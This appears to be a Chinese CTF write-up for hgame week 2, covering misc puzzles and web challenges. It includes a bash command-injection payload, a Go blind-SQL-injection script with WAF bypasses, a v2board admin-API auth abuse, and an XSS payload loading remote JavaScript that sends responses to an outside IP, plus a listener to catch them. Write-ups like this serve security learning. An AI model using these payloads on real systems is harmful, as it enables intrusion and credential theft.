# week2

## mics

### Tetris Master

ctrl+c

cat flag

### sign in pro max

根据提示爆破，前面几个用cmd5就行了，

分别是

base64+base58+base32

md5

sha1

sha256

凯撒解密 5位

拼接后加-，写成uuid的格式

### Tetris Master Revenge

标识了`src:https://github.com/liungkejin/Bash-Games`

下载下来diff一下

添加的不多，多了一个指定target的游戏模式，代码写着在master模式拿到50000分获取flag

不可能真打的，倒是有个hint

# Hint: More than yes or no here

看来这里可以塞点别的东西进去

同 byteCTF 2022 bashgame

数组索引中可以插入命令执行

`x[$(cat /flag)]`

### crazy_qrcode

二维码无法识别，可能动了手脚需要修复

默认掩码是7，改成5和2可以无错误识别，但是识别结果没什么意义

mask 4有校验错误，默认校验等级M，改成H得到解压密码QDjkXkpM0BHNXujs

开个ps拼一下，有旋转，但是顺序是对的，试试看吧

2，10，12，13，14，17，22，24无法确定旋转方向

确定mask 2，纠错等级H

flag应该是8bit byte，这样24的旋转方向就确定了

根据白块黑块不能太大片的原则再调整一下其他块的旋转

二维码是有纠错的，坏几块应该还好，虽然找不出原本的样子，但是可以试试

直接读取到`Csv5y_qrc0de`

感觉差一点，前面的Crazy有一点不太对，

再转转就差不多了

`Cr42y_qrc0de`

# web

## Git Leakage

git-dumper一把梭

## v2board

呃呃呃昨晚刚刚看到文章，接口鉴权有问题

先注册登陆拿一个token，再打`/api/v1/admin/user/fetch`拿下所有用户包括admin的token

# Search Commodity

先拿字典爆破，一看密码admin123，不理解为什么普通用户的密码里会带admin这个词

注入点search_id,7-1检查了一下是数字型

报错信息被过滤了，排除报错注入

堆叠注入不行，union注入很诡异，不知道为什么

试了一下 `if(1=1,1,sleep(1))` 时间盲注还行，sleep(1)停留了8秒

`2-if(1=1,1,0)` 这样也能带条件表达式进去

但是条件表达式也很诡异，无论表达式真假永远取真

过滤了database，但是大写Database可以绕过

length也过滤了同样大写lenGth绕过

`9-lenGth(Database());#` 得知库名长度为6，写个脚本爆一下库名吧

```
package main

import (
    "bytes"
    "fmt"
    "io"
    "net/http"
    "net/url"
    "strconv"
    "strings"
)

const want = "
(Select(group_concat(column_name))From(infoRmation_schema.COLUMNS)Where(table_name/*1*/like\"L1st\"))"

var length int

var possible = `abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_`

func GenPayload(prefix string, index int) string {
    res := prefix + possible[index:index+1]
    u := url.Values{}
    u.Set("search_id", "if("+want+"like'"+res+"%',1,2);#")
    return u.Encode()
}
func GenPayload2(try int) string {
    u := url.Values{}
    u.Set("search_id", "if(lenGth("+want+") like '"+strconv.Itoa(try)+"',1,2);#")
    return u.Encode()
}
func newPost(payload io.Reader) *http.Request {
    req, _ := http.NewRequest("POST", "http://week-2.hgame.lwsec.cn:30943/search", payload)
    req.Header.Set("Cookie",
"SESSION=MTY3MzYxMTkyMXxEdi1CQkFFQ180SUFBUkFCRUFBQUpQLUNBQUVHYzNSeWFXNW5EQVlBQkhWelpYSUdjM1J5YVc1bkRBZ0FCblZ
6WlhJd01RPT18H2ati9rUiXXHCZlTGiumAS9ZxHL7uWdntF9y6SzXP2o=")
    req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
    return req
}

func getLength() int {
    for i := 0; ; i++ {
```

```
        resp, _ := http.DefaultClient.Do(newPost(strings.NewReader(GenPayload2(i))))
        body, _ := io.ReadAll(resp.Body)
        if bytes.Contains(body, []byte("hard disk")) {
            return i
        }
        fmt.Println(i)
    }
}

func main() {
    length = getLength()
    fmt.Println("possible:", possible)
    var known string
    for i := 0; i < length; i++ {
        for j := 0; j < len(possible); j++ {
            resp, _ := http.DefaultClient.Do(newPost(strings.NewReader(GenPayload(known, j))))
            body, _ := io.ReadAll(resp.Body)
            if bytes.Contains(body, []byte("hard disk")) {
                known += possible[j : j+1]
                fmt.Println("[+] ", known)
                break
            }
        }
        if len(known) != i+1 {
            fmt.Println("[-] Failed")
            break
        }
    }
}
```

库名 `sE4rCH`

WAF有点抽象

过滤了where,infor,select,from,where,好像还会消除空格

`if((Select(group_concat(table_name))From(infoRmation_schema.tables)Where(table_SCHEMA/*1*/like"se4rch"))like'%25',1,2);#`

=> `5ecret15here_L1st_user1nf0`

拿 `5ecret15here` 的列名

`if((Select(group_concat(column_name))From(infoRmation_schema.COLUMNS)Where(table_name/*1*/like"5ecret15here"))like'%25',1,2);#`

=> `F14GGGG1SHERE`

拿flag

`if((Select(F14GGGG1SHERE)From(5ecret15here))like'%25',1,2);#`

=>??不太行，不区分大小写，flag是区分大小写的

直接拿吧

`0/*1*/Union/*1*/Select/*1*/1,F14GGGG1SHERE,3/*1*/From/*1*/5ecret15here;#`

=> `hgame{4_M4n_WH0_Kn0ws_We4k-P4ssW0rd_And_SQL!} 3`

# Designer

白盒审计

```
if (username == "admin" && req.ip == "127.0.0.1" || req.ip == "::ffff:127.0.0.1") {
   flag = "hgame{true_flag_here}"
 }
```

先看看req.ip的具体实现

换个xff头，但是很遗憾没成

应该是xss，bypass有很多，但是无所谓，直接注个js进去打csrf

`http://week-2.hgame.lwsec.cn:30647/button/preview?"><script src%3D"http://baimeow.cn/a.js"></script><`

```
// a.js
let xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
        let token = new XMLHttpRequest();
        token.open("POST","http://81.68.114.189:25005",true);
        token.send(this.responseText);
    }
}
xhttp.open("POST","/user/register",true);
xhttp.send("{\"username\":\"admin\"}")
```

写个反连

```
package main

import (
    "fmt"
    "io"
    "net/http"
)

func main() {
    http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
        data, _ := io.ReadAll(r.Body)
        fmt.Println(string(data))
    })
    http.ListenAndServe(":25005", nil)
}
```

触发一下

```
POST /button/share
// paylaod
{"\"><script src=\"http://baimeow.cn/a.js\"></script><":""}
```